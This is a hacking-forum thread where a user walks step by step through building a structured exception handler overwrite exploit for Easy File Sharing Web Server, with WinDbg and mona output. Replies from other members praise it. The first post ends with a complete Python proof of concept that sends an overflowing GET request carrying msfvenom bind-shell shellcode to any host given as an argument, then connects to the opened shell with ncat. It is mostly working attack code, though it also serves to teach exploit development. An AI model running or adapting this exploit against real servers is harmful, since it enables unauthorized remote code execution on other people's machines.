October 18, 2017, 11:31:14 AM
Welcome, Guest. Please login or register.

telnet towel.blinkenlights.nl

Author Topic: Stacks and Handlers and Python, oh my!  (Read 1686 times)

Offline ch3rn0byl

  • Top Hat Member
  • Experienced
  • ********
  • Posts: 187
  • Internets: +1337/-0
  • Grumpy Old Man with Mounds of Salt
Stacks and Handlers and Python, oh my!
« on: June 03, 2016, 11:28:56 AM »
http://ch3rn0byl.com/stacks-and-handlers-and-python/

https://vimeo.com/169362797Easy File Sharing Web Server
2. WinDbg
3. MonaSEH? Whatchu tawkn bout Willis?
Can I handle it?? Should I keep going?? Is this what happened??
Crashing!
Code: [Select]
import socket

crash = "A" * 5500

payload = 'GET {} HTTP/1.0\r\n\r\n'.format(crash)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.126.142', 80))
s.send(payload)
s.close()

Although it says 4500, I am going to up it to 5500 and see if that is good enough. Fortunately for us, it indeed crashed!

Weaponizing our GET Request!
Code: [Select]
import socket

crash = "--snipped because 5500 characters--"

payload = 'GET {} HTTP/1.0\r\n\r\n'.format(crash)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.126.142', 80))
s.send(payload)
s.close()

After sending out pattern, we can load Mona through our command line and then calling it to find our pattern. As a side note, when you are creating your exploit, just remember to keep passing the exception!! This is for each time you restart your debugger.

Code: [Select]
(ff4.aac): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\EFS Software\Easy File Sharing Web Server\sqlite3.dll -
eax=386a4637 ebx=00000001 ecx=ffffffff edx=05175fac esi=05175f84 edi=05175fac
eip=61c277f6 esp=05175f00 ebp=05175f18 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
sqlite3!sqlite3_errcode+0x8e:
61c277f6 81784c97a629a0  cmp     dword ptr [eax+4Ch],0A029A697h ds:0023:386a4683=????????

0:006> gN
(ff4.aac): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=46356646 edx=77b9720d esi=00000000 edi=00000000
eip=46356646 esp=051759d8 ebp=051759f8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
46356646 ??              ???

0:006> .load pykd.pyd
0:006> !py mona findmsp
Hold on...
--snipped--
[+] Examining SEH chain
    SEH record (nseh field) at 0x05176fac overwritten with normal pattern : 0x34664633 (offset 4061), followed by 1431 bytes of cyclic data after the handler
--snipped--
[+] This mona.py action took 0:00:36.406000
Code: [Select]
import socket

# our format:
# <crash> <nseh> <seh> <remaining>
#  crash    B      C    remaining

crash = "A" * 4061
crash += "B" * 4
crash += "C" * 4
crash += "D" * (5500 - 4061 - 4 - 4)

payload = 'GET {} HTTP/1.0\r\n\r\n'.format(crash)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.126.142', 80))
s.send(payload)
s.close()
Code: [Select]
0:008> gN
(93c.728): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=43434343 edx=77b9720d esi=00000000 edi=00000000
eip=43434343 esp=053859d8 ebp=053859f8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
43434343 ??              ???

0:008> !exchain
053859ec: ntdll!ExecuteHandler2+3a (77b9720d)
05386fac: 43434343
Invalid exception stack at 42424242

0:000> .load pykd.pyd
--snipped--

0:006> !py mona seh
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py seh
--snipped-
[+] Results :
--snipped
0x100228ff |   0x100228ff : pop esi # pop edi # ret  |  {PAGE_EXECUTE_READ} [ImageLoad.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\EFS Software\Easy File Sharing Web Server\ImageLoad.dll)
--snipped--
[+] Done. Only the first 20 pointers are shown here. For more pointers, open seh.txt...
    Found a total of 1678 pointers

[+] This mona.py action took 0:00:04.953000
Code: [Select]
0:006> bp 0x100228ff
--snipped--

0:005> gN
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=100228ff edx=77b9720d esi=00000000 edi=00000000
eip=100228ff esp=04fb59d8 ebp=04fb59f8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ImageLoad!SaveTIF+0x9ccf:
100228ff 5e              pop     esi

0:005> u
ImageLoad!SaveTIF+0x9ccf:
100228ff 5e              pop     esi
10022900 5f              pop     edi
10022901 c3              ret
10022902 90              nop
10022903 90              nop
10022904 90              nop
10022905 90              nop
10022906 90              nop
Code: [Select]
0:005> t
eax=00000000 ebx=00000000 ecx=100228ff edx=77b9720d esi=77b971f9 edi=00000000
eip=10022900 esp=04fb59dc ebp=04fb59f8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ImageLoad!SaveTIF+0x9cd0:
10022900 5f              pop     edi

0:005> t
eax=00000000 ebx=00000000 ecx=100228ff edx=77b9720d esi=77b971f9 edi=04fb5ac0
eip=10022901 esp=04fb59e0 ebp=04fb59f8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ImageLoad!SaveTIF+0x9cd1:
10022901 c3              ret

0:005> t
eax=00000000 ebx=00000000 ecx=100228ff edx=77b9720d esi=77b971f9 edi=04fb5ac0
eip=04fb6fac esp=04fb59e4 ebp=04fb59f8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
04fb6fac 42              inc     edx

0:005> u
04fb6fac 42              inc     edx
04fb6fad 42              inc     edx
04fb6fae 42              inc     edx
04fb6faf 42              inc     edx
04fb6fb0 ff28            jmp     fword ptr [eax]
04fb6fb2 0210            add     dl,byte ptr [eax]
04fb6fb4 44              inc     esp
04fb6fb5 44              inc     esp
Code: [Select]
0:005> a
04fb6fac jmp 0x04fb6fb4
jmp 0x04fb6fb4
04fb6fae

0:005> u 0x04fb6fac
04fb6fac eb06            jmp     04fb6fb4
04fb6fae 42              inc     edx
04fb6faf 42              inc     edx
04fb6fb0 ff28            jmp     fword ptr [eax]
04fb6fb2 0210            add     dl,byte ptr [eax]
04fb6fb4 44              inc     esp
04fb6fb5 44              inc     esp
04fb6fb6 44              inc     esp
Code: [Select]
import socket

crash = "A" * 4061
crash += "\xeb\x06\x90\x90"
crash += "\xff\x28\x02\x10"
crash += "D" * (5500 - 4061 - 4 - 4)

payload = 'GET {} HTTP/1.0\r\n\r\n'.format(crash)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.126.142', 80))
s.send(payload)
s.close()

On le Hunt of the Bad Characters!
Code: [Select]
import socket

badchar = ""
badchar += "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13"
badchar += "\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26"
badchar += "\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39"
badchar += "\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c"
badchar += "\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
badchar += "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72"
badchar += "\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85"
badchar += "\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98"
badchar += "\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab"
badchar += "\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe"
badchar += "\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1"
badchar += "\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4"
badchar += "\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7"
badchar += "\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

crash = "A" * 4061
crash += "\xeb\x06\x90\x90"
crash += "\xff\x28\x02\x10"
crash += "D" * (5500 - 4061 - 4 - 4 - len(badchar))
crash += badchar
payload = 'GET {} HTTP/1.0\r\n\r\n'.format(crash)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.126.142', 80))
s.send(payload)
s.close()


To give you an idea, the first bad character (with the exception of \x00) is \x20. Take that out of your characters, notate it, and continue until you get to \xff. Now for this program, you have six bad ones:

Code: [Select]
\x00\x20\x25\x2b\x2f\x5c
Generating Mah-jeek and Exploitation!
Code: [Select]
root@ubuntu:~/Exploits# msfvenom -p windows/shell_bind_tcp LPORT=12345 -n 20 -f python -a x86 --platform windows -b '\x00\x20\x25\x2b\x2f\x5c' -v shelled
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 355 (iteration=0)
x86/shikata_ga_nai chosen with final size 355
Successfully added NOP sled from x86/single_byte
Payload size: 375 bytes
Sweet. Letís add this to our exploit, run it, and see if we can gain shell on port 12345Ö



If you are interested in my pretty poc for this exploit, here is how mine is
Code: [Select]
#!/usr/bin/python
# Exploits EFS with a bind shell on port 12345
# Bad Characters are x00\x20\x25\x2b\x2f\x5c
# We are using 0x100228ff in Image.dll
# msfvenom -p windows/shell_bind_tcp LPORT=12345 -n 20 -f python -a x86 --platform windows -b '\x00\x20\x25\x2b\x2f\x5c' -v shelled
# Results in 375 bytes
# Bask in shell :)
 
from socket import socket, AF_INET, SOCK_STREAM
from sys import argv
from struct import pack
from subprocess import call
 
host = argv[1]
 
shelled =  ""
shelled += "\x93\x99\x9f\xd6\x3f\x9f\xf9\x92\x49\xd6\x40\xfd"
shelled += "\x40\x9b\xfc\x37\x49\x48\x42\xfc\xda\xdd\xbd\x91"
shelled += "\xe8\x53\xdd\xd9\x74\x24\xf4\x5a\x33\xc9\xb1\x53"
shelled += "\x31\x6a\x17\x03\x6a\x17\x83\x53\xec\xb1\x28\xaf"
shelled += "\x05\xb7\xd3\x4f\xd6\xd8\x5a\xaa\xe7\xd8\x39\xbf"
shelled += "\x58\xe9\x4a\xed\x54\x82\x1f\x05\xee\xe6\xb7\x2a"
shelled += "\x47\x4c\xee\x05\x58\xfd\xd2\x04\xda\xfc\x06\xe6"
shelled += "\xe3\xce\x5a\xe7\x24\x32\x96\xb5\xfd\x38\x05\x29"
shelled += "\x89\x75\x96\xc2\xc1\x98\x9e\x37\x91\x9b\x8f\xe6"
shelled += "\xa9\xc5\x0f\x09\x7d\x7e\x06\x11\x62\xbb\xd0\xaa"
shelled += "\x50\x37\xe3\x7a\xa9\xb8\x48\x43\x05\x4b\x90\x84"
shelled += "\xa2\xb4\xe7\xfc\xd0\x49\xf0\x3b\xaa\x95\x75\xdf"
shelled += "\x0c\x5d\x2d\x3b\xac\xb2\xa8\xc8\xa2\x7f\xbe\x96"
shelled += "\xa6\x7e\x13\xad\xd3\x0b\x92\x61\x52\x4f\xb1\xa5"
shelled += "\x3e\x0b\xd8\xfc\x9a\xfa\xe5\x1e\x45\xa2\x43\x55"
shelled += "\x68\xb7\xf9\x34\xe5\x74\x30\xc6\xf5\x12\x43\xb5"
shelled += "\xc7\xbd\xff\x51\x64\x35\x26\xa6\x8b\x6c\x9e\x38"
shelled += "\x72\x8f\xdf\x11\xb1\xdb\x8f\x09\x10\x64\x44\xc9"
shelled += "\x9d\xb1\xf1\xc1\x38\x6a\xe4\x2c\xfa\xda\xa8\x9e"
shelled += "\x93\x30\x27\xc1\x84\x3a\xed\x6a\x2c\xc7\x0e\xa4"
shelled += "\x94\x4e\xe8\xae\xf6\x06\xa2\x46\x35\x7d\x7b\xf1"
shelled += "\x46\x57\xd3\x95\x0f\xb1\xe4\x9a\x8f\x97\x42\x0c"
shelled += "\x04\xf4\x56\x2d\x1b\xd1\xfe\x3a\x8c\xaf\x6e\x09"
shelled += "\x2c\xaf\xba\xf9\xcd\x22\x21\xf9\x98\x5e\xfe\xae"
shelled += "\xcd\x91\xf7\x3a\xe0\x88\xa1\x58\xf9\x4d\x89\xd8"
shelled += "\x26\xae\x14\xe1\xab\x8a\x32\xf1\x75\x12\x7f\xa5"
shelled += "\x29\x45\x29\x13\x8c\x3f\x9b\xcd\x46\x93\x75\x99"
shelled += "\x1f\xdf\x45\xdf\x1f\x0a\x30\x3f\x91\xe3\x05\x40"
shelled += "\x1e\x64\x82\x39\x42\x14\x6d\x90\xc6\x24\x24\xb8"
shelled += "\x6f\xad\xe1\x29\x32\xb0\x11\x84\x71\xcd\x91\x2c"
shelled += "\x0a\x2a\x89\x45\x0f\x76\x0d\xb6\x7d\xe7\xf8\xb8"
shelled += "\xd2\x08\x29"
 
crash = "A" * 4061
crash += "\xeb\x06\x90\x90"
crash += pack('<L', 0x100228ff)
crash += "D" * (5500 - 4061 - 4 - 4 - len(shelled))
crash += shelled
 
payload = 'GET {} HTTP/1.0\r\n\r\n'.format(crash)
 
print '[+] Trying to exploit {}...'.format(host)
try:
    s = socket(AF_INET, SOCK_STREAM)
s.connect((host, 80))
print '[>] Sending payload...'
s.send(payload)
s.close()
print '[>] Trying to connect to target...\n'
try:
call(['ncat', host, '12345'])
except:
print '[!] Whoops!! Something went wrong?'
except:
print '[!] Whoops!! Something went wrong?'
finally:
print '\n[>] I heart shells!'
« Last Edit: June 04, 2016, 09:35:19 AM by ch3rn0byl »
The quieter you become, the more you are unlikely to sound stupid.

Offline H4v0K

  • Administrator
  • Elite
  • *****
  • Posts: 1019
  • Internets: +986/-1
Re: Stacks and Handlers and Python, oh my!
« Reply #1 on: June 03, 2016, 01:21:44 PM »
That had to take a good bit of time to get the hang of.  Very nice  +1 8)

Offline r3k0hu

  • Top Hat Member
  • Professional
  • ********
  • Posts: 487
  • Internets: +48/-0
Re: Stacks and Handlers and Python, oh my!
« Reply #2 on: June 03, 2016, 01:35:25 PM »
Wow - Good quality post, lots of detail.. awesome work! +1 Thanks Ch3rn... exceptional, thank you!

I'm going to have to put some time aside to let this one sink in :)
r3k0hu
-43.9515-176.561

Offline ch3rn0byl

  • Top Hat Member
  • Experienced
  • ********
  • Posts: 187
  • Internets: +1337/-0
  • Grumpy Old Man with Mounds of Salt
Re: Stacks and Handlers and Python, oh my!
« Reply #3 on: June 03, 2016, 01:47:22 PM »
That had to take a good bit of time to get the hang of.  Very nice  +1 8)
Yea man it was some getting used to. It's different thats for sure, but in a good way! I deleted my immunity folder haha!

Wow - Good quality post, lots of detail.. awesome work! +1 Thanks Ch3rn... exceptional, thank you!

I'm going to have to put some time aside to let this one sink in :)
Haha yea man. I think I'm gonna make a vid too but holy hell it takes forever! Last one took forever to make haha
The quieter you become, the more you are unlikely to sound stupid.